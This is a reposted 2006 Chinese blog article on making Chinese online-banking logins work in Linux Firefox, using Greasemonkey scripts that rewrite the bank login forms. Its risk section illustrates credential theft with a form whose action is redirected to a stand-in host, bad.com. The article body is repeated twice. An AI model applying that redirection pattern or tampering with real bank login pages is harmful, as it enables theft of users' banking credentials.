刑天的歌 » 日志 » Linux + Firefox 登陆网上银行――巧用Greasemonkey扩展zz
Linux + Firefox 登陆网上银行――巧用Greasemonkey扩展zz
刑天 发表于 2006-05-30 12:48:46
作者: 马路遥maluyao@163.com
前言
本文不是一篇Hacker教程。你必需使用自己的用户名和密码登
陆银行,而不是猜测别人的。甚至如果你对Firefox扩展和JavaScript
不甚熟悉的话。按本文的例子行动还会有很大风险。
本文的作者拒绝对本文的正确性提供任何形式的担保,包括但不
限于明示的暗示的。
Greasemonkey是Firefox 的一种非常强大的扩展,能够在网也内
容读入之后,页面显示在浏览器之前执行指定的JavaScript脚本。
Greasemonkey 的下载地址是https://addons.mozilla.org/firefox/748/ 。
” 使用方法可以参考如何使用 Greasemonkey 。本文所介绍的方法,要首先要
安装这个扩展。而且您要仔细查看使用说明,才能够理解本文所描述
的方法。
其实另外一个被广泛下载的扩展Web Developer ,也能实现本文所描
述的功能,但更为复杂。
我们虽然能成功地以旁门左道登录网上银行,但这未必是最好的
方法,笔者希望每位从本文得到帮助的读者,都能给你开户银行的
webmaser发一封email,要求该行能够直接支持Firefox。如果对方能够
修改网页界面支持Firefox,下次评选最佳网行银行的时候,您就可以
考虑投他一票。本文附录中列出了部分银行网站webmaster的email
地址。
概论
经常有人说可以在计算机中完全使用Linux生活和工作,但实际
上在中国大陆还不能做得到。拿本人来说,我有99.9%的时间都是使
用Linux的。不论是写C或Shell程序,听音乐、看电影、在棋圣道场
(http://weiqi.com.tom)看棋谱,或是在http://games.yahoo.com 打桥牌,
都绝无问题甚至游刃有余。但仍然有一个重要的原因使我不能脱离
Windows 系统,就是Linux无法登陆某些国内的网上银行。无论如何,
我不能和钱过不去。
最近,MS开始禁止盗版Windows进行网上自动更新,这对很多
人无疑是一个打击,这更坚定了我抛弃Windows系统的决心。本人目
前的职业是Linux教师,深深地热爱Linux/FreeBSD一类的开源软件,
非常希望能像理查德 . 斯托尔曼 一样,完全用开源软件。如果有些做不到,
就争取无限接近。开源软件的最大优点之一就是可以自己动手编写一
些东西。笔者虽然不是程序员,但也能折腾两下。
国内的银行现在用多如牛毛来形容,应该是一点都不过分的。下
面的银行列表表格摘自http://www.hao123.com/bankjt.htm
银行网址
中国工商银行招商银行中国农业银行中国建设银行
中国银行中国民生银行中国光大银行中信银行
交通银行兴业银行上海浦东发展银行中国人民银行
华夏银行深圳发展银行广东发展银行国家开发银行
厦门国际银行中国进出口银行中国农业发展银行北京银行
上海银行汇丰银行招商银行香港分行大生银行
南洋商业银行永隆银行恒生银行 中国银行香港分行
交通银行香港分行香港富邦银行 大新银行澳门永亨银行
星展银行台北富邦银行廖创兴银行有限公司集友银行
丰明银行 花旗中国银行 渣打中国银行东亚银行中国网站
渣打香港银行荷兰银行美国银行巴黎银行
美国运通银行蒙特利尔银行欧力士银行
“ ” 很多银行本人根本没有帐号,所以并不关心。据说洋行的网
站基本对所有浏览器都支持,包括IE 、Firefox、Opera、Safari等。
但以前听说过一在英国发生的新闻,某用户在使用Lynx软件访问银
行的时候,竟被怀疑是黑客,导致警察上门。所以说,外国的月亮确
实圆一点,但也很有限。
上表中我标出两个绿底的,北京银行和中国银行。前者可以很好
地支持Firefox,后者据同事说可以支持Firefox。这里只能对他们的网
站设计和人员表示敬意。
三个蓝底的银行,招商银行、建设银行、交通银行我都有帐号,
是不能直接使用FireFox的。其中招商银行和交通银行的登录页面上
有ActiveX控件,不能被Firefox所支持。而建设银行的页面,有一个
Firefox所无法使用的软键盘。工商银行我虽然没帐号,但知道也不兼
容FireFox。
随机挑选了几个大陆以外的银行,发现除了招商银行香港分行以
外,都可以使用Firefox ” “ 。和国际接轨的口号大家已经听烦了,从
火车票的票价到大学生的学费都如此,下一个接轨的据说是北京的士
的车费。但什么时候春风能吹到银行呢?
网上银行登录页面的作用,在让客户提交正确的帐号、密码以及
其他信息。只要我们能够正确的提交数据,无论页面采用ActiveX还
是ActiveY技术,都不会影响我们使用。下面我们来具体分析一下各
家银行页面的作用。
能够提交数据的途径是修改登录页面。例如下列的html代码。
<form method=post action="http://foo.com/cgi-bin/test.pl">
username:<input name=username type=text><br>
password:<input name=password type=password><br>
<input name=submit type=submit value="OK">
</form>
如果我们用浏览器访问该页面并在用户名和密码部分填写zhang3
和123.并点击OK按钮,就会将数据提交给http://foo.com/cgibin/
test.pl处理。甚至你可以直接在你的浏览器地址栏上直接输入
http://foo.com/cgi-bin/test.pl?username=z3&password=123 ,效果通常相同。
” 网上银行比这要复杂一些,因为很多银行存在一个图片验证码
“,这无法用直接提交的方式发送数据。必需登录银行指定的登录界
面。
刚开始研究这个问题的时候,笔者尝试通过建立一个FireFox的
扩展的方式登录网上银行,在深入研究了XUL、DOM等文档后,成
功地开发出了自己的扩展,但随后发现,利用现有的Greaemonkey扩
展是个更简单的方案。
Greasemonkey扩展既然可以运行Javascipt脚本,我们就能够利用
脚本动态修改页面,使得其能够被Firefox显示并且能提交正确的数
据。首先分析原因所在,其中最容易的就是建设银行。
建设银行
建行网上银行的登陆入口是
https://ibsbjstar.ccb.com.cn/app/B2CMainPlat?CUSTYPE=0&TXCODE=CL
OGIN
此页面的问题在于,如果使用Windows+IE ,当试图输入密码时,
会打开一个软键盘来输入,这有一定的安全性,但也就只能防止某些
可以记录键盘输入的间谍软件而已,但使用Firefox,就根本不能输入
密码。
其部分代码如下(除去了一些定义外观的部分):
<td nowrap>证件号码:</td> <td nowrap
colspan=3><input name="USERID" type="text" title="证件号码"></td>
<tr>
<td nowrap>登录密码:</td>
<td nowrap colspan=3><input id="LOGPASS"
name="LOGPASS" type="password" title="登录密码" readOnly
onKeyDown="Calc.password.value=this.value"
onChange="Calc.password.value=this.value" onclick=
"password1=this;showkeyboard();this.readOnly=1;Calc.password.value=''"></t
d> </tr>
核心问题就是在上述代码中我用红色标出的readOnly属性,这使
得我们不能够直接输入密码,而只能借助于前文所说的软键盘。
我写了下面的脚本,用来重写一个标准的密码框来取代原有的部
分,内容如下:
1. // ==UserScript==
2. // @namespace http://teenblog.org/tiantian
3. // @name ccb Assist
4. // @description ccb Assist
5. // @include
https://ibsbjstar.ccb.com.cn/app/B2CMainPlat?CUSTYPE=0&TXCOD
E=CLOGIN
6. // ==/UserScript==
7. var passArea=document.getElementsByTagName("td")[104];
8. passArea.innerHTML='<input id="LOGPASS" name="LOGPASS"
type="password" class="textlogin" size="20" minLength="6"
maxLength="12" title="password">';
9. alertMessage='This page was modified by Greasemonkey
extension.\nThe extension use a user defined JavaScript.\nThe
Content of JavaScript is not related with Greasemonkey.\nBe
care to use this.\nCopyright: GPL V2 \nAuthor: maluyao at
163.com\nKnow Bugs: \n Can not logout\n' ;
10.alert(alertMessage);
前4行都是描述性的。第5行指出了本脚本针对的网页。
第7行得到指定的<td>和</td>之间的内容,并在第8行中替换成
我们自己的格式。第9行和第10行是弹出一个关于版权和警告信息
的窗口,提醒用户注意。当然,最后这两行不是必需的。
把此脚本命名为jianhang.user.js后,直接用Firefox打开。并安装。
现在用Firefox打开建行的登录界面,就能输入卡号和密码了,
正确输入数据并且提交后,进入了下个界面。
在左上方能正确地看到本人的名字,下方显示的广东分行
也是正确的(以前在广东开的户)。沉浸在喜悦当中的我,马上点右
“ ” 下的不使用证书进入。
唉!!!!,只能说十分遗憾。建行网站的内部仍然不支持IE,
还的另想办法。
办法就是继续研究html界面,并用适当的内容替换之。因为工
作量的关系,笔者放弃了对建设银行的接续研究。
中国银行的网上银行登录界面同样也有一个软键盘,但是用户可
以选择使用或不使用之。从网站界面设计的方密那平价,建设银行无
疑是和中国银行有些差距了。国际话不能光在嘴上说。要落实在行动
上。
交通银行
接下来我们看看交通银行,交通银行的登陆界面是:
https://pbank.95559.com.cn/personbank/common_logon.jsp
交行的登陆界面上用一个ActiveX控件输入密码,这在Linux +
Firefox 的环境下是无法显示的。我们的办法是在登陆此界面后,用
Firefox 的扩展来修改登陆界面上的内容。重新生成一个Firefox能够
正确显示的表单(Form),交通银行的脚本如下:
1. // ==UserScript==
2. // @namespace http://teenblog.org/tiantian
3. // @name JiaoHang Assist
4. // @description JiaoHang Assist
5. // @include
https://pbank.95559.com.cn/personbank/common_logon.jsp
6. // ==/UserScript==
7. var addformhead=document.getElementsByTagName('td')[31];
8. alertMessage='This page was modified by Greasemonkey
extension.\nThe extension use a user defined JavaScript.\nThe
Content of JavaScript is not related with Greasemonkey.\nBe
care to use this.\nPlease input Card Number on "Card
Number"\nPlease input your password on "PassWord"\nPlease
Input adding code below "Picture Code"\nCopyright: GPL V2
\nAuthor: maluyao at 163.com\nKnow Bugs: \n Can not
logout\n JIE JI Card Only\n' ;
9. addformhead.innerHTML='<form id="frmLogon" name="frmLogon"
method="post" action=Bank >' +
10. '\n <input type="hidden" name="netType" value="0"/> '+
11. '\n <input type="hidden" name="language"
value="zh_CN"/> '+
12. '\n <input type="hidden" name="userType" value="02"/>
'+
13. '\nCard Number<input name="cardNo" type="text"
maxLength="17" > '+
14. '\n<br>\nPassWord<input type="password" id="password"
name="password" > ' +
15. '\n<br>Picture Code<input name="reqCode" type="text"
maxLength="6" size="10" >' +
16. '\n <input type="hidden" name="cardType" value="0" />
'+
17.
18. '</form>'+
19. '<a
href="javascript:document.getElementById(\'frmLogon\').submit()"><im
g src="/personbank/images/but-denglu.gif"></a>';
20.alert(alertMessage);
第8行和第18行定义和显示了一个对话框,内容是对使用本脚
本的客户机的一个警告信息,不是必要的。第9-19行中我们增加了
一个新的表单,能够提交正确的数据。 虽然界面目前被改的很丑
陋,但能够工作。输入正确的数据后,可以进入网上银行,查看自己
帐号的情况。
风险分析
从上面的例子里可以看出,Firefox的扩展功能十分的强大。可以
直接对页面进行修改。但这里也存在相当大的风险。
比如如果某页面存在一个表单,定义如下:
1. <form method=post action="http://good.com/cgi-bin/test.pl">
2. 用户名:<input id="username" name=username type=text ><br>
3. 密 码:<input id="password" name=password type=text ><br>
4. <input name=submit type=submit value=”提交">
5. </form>
这段内容原本会将数据提交到good.com上的test.pl处理,但如果
恶意代码将其改为:
1. <form method=post action="http://bad.com/cgi-bin/test.pl">
2. 用户名:<input id="username" name=username type=text ><br>
3. 密 码:<input id="password" name=password type=text ><br>
4. <input name=submit type=submit value=”提交">
5. </form>
这会导致原本应该发送给good.com的数据被发送给bad.com。风
险极大。
招商银行
相比于上面两个银行,招商银行的难度要高一些。招商银行使用
的ActiveX控件,能够使得卡号和密码在提交前就被ActiveX所加密,
密文具有一定的随机性。然后再提交数据。笔者认为这并不是必要的,
但毫无疑问,这种机制加大了我工作的难度。
如果能分析出这个加密算法并用JavaScript实现,招商银行的问
题也就解决了。从密码学的原理来说,已知明文和密文,分析出算法
并不是件非常困难的事情。但这需要时间。这个问题的详细内容,请
参考: http://bbs.chinaunix.net/viewthread.php?tid=749579&extra=page%3D2 。
目前笔者还没有分析出算法,但使用某种技巧,笔者能针对任意
帐号和密码在自己的电脑上生成密文。这样虽然未知加密算法。但可
以先得到自己帐号密码的密文内容,然后通过修改网页的方式提交出
去。当然,这种方式暂时只能自学自用,不便公开。事实上,因为招
” “ 行的网站有很多桢(Frame)。修改起来过于麻烦。目前的计划是不
久以后注销掉招商银行的帐号。
据说工商银行的ActiveX也有类似的机制,因为没有工行帐号,
就不准备进一步研究了。但相信也可以通过和招商银行类似的方式解
决。
风险提示和后记
对于一般的用户,特别要注意不要安装来路不明的扩展和脚本,
这其中的风险几乎相当于自己给自己安装一个木马。因为除了
JavaScript语言开发以外,Firefox的扩展还可以使用Java、C/C++等语
言开发,能够实现非常底层的功能,甚至格式化你的硬盘。
— 感谢笔者现在的雇主北大青鸟 ( 北京华源)授权培训中心 ,没有给安排给
我太多的工作任务,使得能够有足够的时间和精力,深入研究自由软
件的各种技术,回报自由软件社区。
定稿于2006年5月7日
附录:
部分不支持FireFox的银行及其webmaster 的email地址:
中国工商银行 webmaster@icbc.com.cn
中国农业银行 95599bj@abchina.com
交通银行 95559@bankcomm.com
中国建设银行 首页上未标明
招商银行 首页上未标明
前言
本文不是一篇Hacker教程。你必需使用自己的用户名和密码登
陆银行,而不是猜测别人的。甚至如果你对Firefox扩展和JavaScript
不甚熟悉的话。按本文的例子行动还会有很大风险。
本文的作者拒绝对本文的正确性提供任何形式的担保,包括但不
限于明示的暗示的。
Greasemonkey是Firefox 的一种非常强大的扩展,能够在网也内
容读入之后,页面显示在浏览器之前执行指定的JavaScript脚本。
Greasemonkey 的下载地址是https://addons.mozilla.org/firefox/748/ 。
” 使用方法可以参考如何使用 Greasemonkey 。本文所介绍的方法,要首先要
安装这个扩展。而且您要仔细查看使用说明,才能够理解本文所描述
的方法。
其实另外一个被广泛下载的扩展Web Developer ,也能实现本文所描
述的功能,但更为复杂。
我们虽然能成功地以旁门左道登录网上银行,但这未必是最好的
方法,笔者希望每位从本文得到帮助的读者,都能给你开户银行的
webmaser发一封email,要求该行能够直接支持Firefox。如果对方能够
修改网页界面支持Firefox,下次评选最佳网行银行的时候,您就可以
考虑投他一票。本文附录中列出了部分银行网站webmaster的email
地址。
概论
经常有人说可以在计算机中完全使用Linux生活和工作,但实际
上在中国大陆还不能做得到。拿本人来说,我有99.9%的时间都是使
用Linux的。不论是写C或Shell程序,听音乐、看电影、在棋圣道场
(http://weiqi.com.tom)看棋谱,或是在http://games.yahoo.com 打桥牌,
都绝无问题甚至游刃有余。但仍然有一个重要的原因使我不能脱离
Windows 系统,就是Linux无法登陆某些国内的网上银行。无论如何,
我不能和钱过不去。
最近,MS开始禁止盗版Windows进行网上自动更新,这对很多
人无疑是一个打击,这更坚定了我抛弃Windows系统的决心。本人目
前的职业是Linux教师,深深地热爱Linux/FreeBSD一类的开源软件,
非常希望能像理查德 . 斯托尔曼 一样,完全用开源软件。如果有些做不到,
就争取无限接近。开源软件的最大优点之一就是可以自己动手编写一
些东西。笔者虽然不是程序员,但也能折腾两下。
国内的银行现在用多如牛毛来形容,应该是一点都不过分的。下
面的银行列表表格摘自http://www.hao123.com/bankjt.htm
银行网址
中国工商银行招商银行中国农业银行中国建设银行
中国银行中国民生银行中国光大银行中信银行
交通银行兴业银行上海浦东发展银行中国人民银行
华夏银行深圳发展银行广东发展银行国家开发银行
厦门国际银行中国进出口银行中国农业发展银行北京银行
上海银行汇丰银行招商银行香港分行大生银行
南洋商业银行永隆银行恒生银行 中国银行香港分行
交通银行香港分行香港富邦银行 大新银行澳门永亨银行
星展银行台北富邦银行廖创兴银行有限公司集友银行
丰明银行 花旗中国银行 渣打中国银行东亚银行中国网站
渣打香港银行荷兰银行美国银行巴黎银行
美国运通银行蒙特利尔银行欧力士银行
“ ” 很多银行本人根本没有帐号,所以并不关心。据说洋行的网
站基本对所有浏览器都支持,包括IE 、Firefox、Opera、Safari等。
但以前听说过一在英国发生的新闻,某用户在使用Lynx软件访问银
行的时候,竟被怀疑是黑客,导致警察上门。所以说,外国的月亮确
实圆一点,但也很有限。
上表中我标出两个绿底的,北京银行和中国银行。前者可以很好
地支持Firefox,后者据同事说可以支持Firefox。这里只能对他们的网
站设计和人员表示敬意。
三个蓝底的银行,招商银行、建设银行、交通银行我都有帐号,
是不能直接使用FireFox的。其中招商银行和交通银行的登录页面上
有ActiveX控件,不能被Firefox所支持。而建设银行的页面,有一个
Firefox所无法使用的软键盘。工商银行我虽然没帐号,但知道也不兼
容FireFox。
随机挑选了几个大陆以外的银行,发现除了招商银行香港分行以
外,都可以使用Firefox ” “ 。和国际接轨的口号大家已经听烦了,从
火车票的票价到大学生的学费都如此,下一个接轨的据说是北京的士
的车费。但什么时候春风能吹到银行呢?
网上银行登录页面的作用,在让客户提交正确的帐号、密码以及
其他信息。只要我们能够正确的提交数据,无论页面采用ActiveX还
是ActiveY技术,都不会影响我们使用。下面我们来具体分析一下各
家银行页面的作用。
能够提交数据的途径是修改登录页面。例如下列的html代码。
<form method=post action="http://foo.com/cgi-bin/test.pl">
username:<input name=username type=text><br>
password:<input name=password type=password><br>
<input name=submit type=submit value="OK">
</form>
如果我们用浏览器访问该页面并在用户名和密码部分填写zhang3
和123.并点击OK按钮,就会将数据提交给http://foo.com/cgibin/
test.pl处理。甚至你可以直接在你的浏览器地址栏上直接输入
http://foo.com/cgi-bin/test.pl?username=z3&password=123 ,效果通常相同。
” 网上银行比这要复杂一些,因为很多银行存在一个图片验证码
“,这无法用直接提交的方式发送数据。必需登录银行指定的登录界
面。
刚开始研究这个问题的时候,笔者尝试通过建立一个FireFox的
扩展的方式登录网上银行,在深入研究了XUL、DOM等文档后,成
功地开发出了自己的扩展,但随后发现,利用现有的Greaemonkey扩
展是个更简单的方案。
Greasemonkey扩展既然可以运行Javascipt脚本,我们就能够利用
脚本动态修改页面,使得其能够被Firefox显示并且能提交正确的数
据。首先分析原因所在,其中最容易的就是建设银行。
建设银行
建行网上银行的登陆入口是
https://ibsbjstar.ccb.com.cn/app/B2CMainPlat?CUSTYPE=0&TXCODE=CL
OGIN
此页面的问题在于,如果使用Windows+IE ,当试图输入密码时,
会打开一个软键盘来输入,这有一定的安全性,但也就只能防止某些
可以记录键盘输入的间谍软件而已,但使用Firefox,就根本不能输入
密码。
其部分代码如下(除去了一些定义外观的部分):
<td nowrap>证件号码:</td> <td nowrap
colspan=3><input name="USERID" type="text" title="证件号码"></td>
<tr>
<td nowrap>登录密码:</td>
<td nowrap colspan=3><input id="LOGPASS"
name="LOGPASS" type="password" title="登录密码" readOnly
onKeyDown="Calc.password.value=this.value"
onChange="Calc.password.value=this.value" onclick=
"password1=this;showkeyboard();this.readOnly=1;Calc.password.value=''"></t
d> </tr>
核心问题就是在上述代码中我用红色标出的readOnly属性,这使
得我们不能够直接输入密码,而只能借助于前文所说的软键盘。
我写了下面的脚本,用来重写一个标准的密码框来取代原有的部
分,内容如下:
1. // ==UserScript==
2. // @namespace http://teenblog.org/tiantian
3. // @name ccb Assist
4. // @description ccb Assist
5. // @include
https://ibsbjstar.ccb.com.cn/app/B2CMainPlat?CUSTYPE=0&TXCOD
E=CLOGIN
6. // ==/UserScript==
7. var passArea=document.getElementsByTagName("td")[104];
8. passArea.innerHTML='<input id="LOGPASS" name="LOGPASS"
type="password" class="textlogin" size="20" minLength="6"
maxLength="12" title="password">';
9. alertMessage='This page was modified by Greasemonkey
extension.\nThe extension use a user defined JavaScript.\nThe
Content of JavaScript is not related with Greasemonkey.\nBe
care to use this.\nCopyright: GPL V2 \nAuthor: maluyao at
163.com\nKnow Bugs: \n Can not logout\n' ;
10.alert(alertMessage);
前4行都是描述性的。第5行指出了本脚本针对的网页。
第7行得到指定的<td>和</td>之间的内容,并在第8行中替换成
我们自己的格式。第9行和第10行是弹出一个关于版权和警告信息
的窗口,提醒用户注意。当然,最后这两行不是必需的。
把此脚本命名为jianhang.user.js后,直接用Firefox打开。并安装。
现在用Firefox打开建行的登录界面,就能输入卡号和密码了,
正确输入数据并且提交后,进入了下个界面。
在左上方能正确地看到本人的名字,下方显示的广东分行
也是正确的(以前在广东开的户)。沉浸在喜悦当中的我,马上点右
“ ” 下的不使用证书进入。
唉!!!!,只能说十分遗憾。建行网站的内部仍然不支持IE,
还的另想办法。
办法就是继续研究html界面,并用适当的内容替换之。因为工
作量的关系,笔者放弃了对建设银行的接续研究。
中国银行的网上银行登录界面同样也有一个软键盘,但是用户可
以选择使用或不使用之。从网站界面设计的方密那平价,建设银行无
疑是和中国银行有些差距了。国际话不能光在嘴上说。要落实在行动
上。
交通银行
接下来我们看看交通银行,交通银行的登陆界面是:
https://pbank.95559.com.cn/personbank/common_logon.jsp
交行的登陆界面上用一个ActiveX控件输入密码,这在Linux +
Firefox 的环境下是无法显示的。我们的办法是在登陆此界面后,用
Firefox 的扩展来修改登陆界面上的内容。重新生成一个Firefox能够
正确显示的表单(Form),交通银行的脚本如下:
1. // ==UserScript==
2. // @namespace http://teenblog.org/tiantian
3. // @name JiaoHang Assist
4. // @description JiaoHang Assist
5. // @include
https://pbank.95559.com.cn/personbank/common_logon.jsp
6. // ==/UserScript==
7. var addformhead=document.getElementsByTagName('td')[31];
8. alertMessage='This page was modified by Greasemonkey
extension.\nThe extension use a user defined JavaScript.\nThe
Content of JavaScript is not related with Greasemonkey.\nBe
care to use this.\nPlease input Card Number on "Card
Number"\nPlease input your password on "PassWord"\nPlease
Input adding code below "Picture Code"\nCopyright: GPL V2
\nAuthor: maluyao at 163.com\nKnow Bugs: \n Can not
logout\n JIE JI Card Only\n' ;
9. addformhead.innerHTML='<form id="frmLogon" name="frmLogon"
method="post" action=Bank >' +
10. '\n <input type="hidden" name="netType" value="0"/> '+
11. '\n <input type="hidden" name="language"
value="zh_CN"/> '+
12. '\n <input type="hidden" name="userType" value="02"/>
'+
13. '\nCard Number<input name="cardNo" type="text"
maxLength="17" > '+
14. '\n<br>\nPassWord<input type="password" id="password"
name="password" > ' +
15. '\n<br>Picture Code<input name="reqCode" type="text"
maxLength="6" size="10" >' +
16. '\n <input type="hidden" name="cardType" value="0" />
'+
17.
18. '</form>'+
19. '<a
href="javascript:document.getElementById(\'frmLogon\').submit()"><im
g src="/personbank/images/but-denglu.gif"></a>';
20.alert(alertMessage);
第8行和第18行定义和显示了一个对话框,内容是对使用本脚
本的客户机的一个警告信息,不是必要的。第9-19行中我们增加了
一个新的表单,能够提交正确的数据。 虽然界面目前被改的很丑
陋,但能够工作。输入正确的数据后,可以进入网上银行,查看自己
帐号的情况。
风险分析
从上面的例子里可以看出,Firefox的扩展功能十分的强大。可以
直接对页面进行修改。但这里也存在相当大的风险。
比如如果某页面存在一个表单,定义如下:
1. <form method=post action="http://good.com/cgi-bin/test.pl">
2. 用户名:<input id="username" name=username type=text ><br>
3. 密 码:<input id="password" name=password type=text ><br>
4. <input name=submit type=submit value=”提交">
5. </form>
这段内容原本会将数据提交到good.com上的test.pl处理,但如果
恶意代码将其改为:
1. <form method=post action="http://bad.com/cgi-bin/test.pl">
2. 用户名:<input id="username" name=username type=text ><br>
3. 密 码:<input id="password" name=password type=text ><br>
4. <input name=submit type=submit value=”提交">
5. </form>
这会导致原本应该发送给good.com的数据被发送给bad.com。风
险极大。
招商银行
相比于上面两个银行,招商银行的难度要高一些。招商银行使用
的ActiveX控件,能够使得卡号和密码在提交前就被ActiveX所加密,
密文具有一定的随机性。然后再提交数据。笔者认为这并不是必要的,
但毫无疑问,这种机制加大了我工作的难度。
如果能分析出这个加密算法并用JavaScript实现,招商银行的问
题也就解决了。从密码学的原理来说,已知明文和密文,分析出算法
并不是件非常困难的事情。但这需要时间。这个问题的详细内容,请
参考: http://bbs.chinaunix.net/viewthread.php?tid=749579&extra=page%3D2 。
目前笔者还没有分析出算法,但使用某种技巧,笔者能针对任意
帐号和密码在自己的电脑上生成密文。这样虽然未知加密算法。但可
以先得到自己帐号密码的密文内容,然后通过修改网页的方式提交出
去。当然,这种方式暂时只能自学自用,不便公开。事实上,因为招
” “ 行的网站有很多桢(Frame)。修改起来过于麻烦。目前的计划是不
久以后注销掉招商银行的帐号。
据说工商银行的ActiveX也有类似的机制,因为没有工行帐号,
就不准备进一步研究了。但相信也可以通过和招商银行类似的方式解
决。
风险提示和后记
对于一般的用户,特别要注意不要安装来路不明的扩展和脚本,
这其中的风险几乎相当于自己给自己安装一个木马。因为除了
JavaScript语言开发以外,Firefox的扩展还可以使用Java、C/C++等语
言开发,能够实现非常底层的功能,甚至格式化你的硬盘。
— 感谢笔者现在的雇主北大青鸟 ( 北京华源)授权培训中心 ,没有给安排给
我太多的工作任务,使得能够有足够的时间和精力,深入研究自由软
件的各种技术,回报自由软件社区。
定稿于2006年5月7日
附录:
部分不支持FireFox的银行及其webmaster 的email地址:
中国工商银行 webmaster@icbc.com.cn
中国农业银行 95599bj@abchina.com
交通银行 95559@bankcomm.com
中国建设银行 首页上未标明
招商银行 首页上未标明
相关日志:
收藏:
QQ书签
del.icio.us
订阅:
Google
抓虾

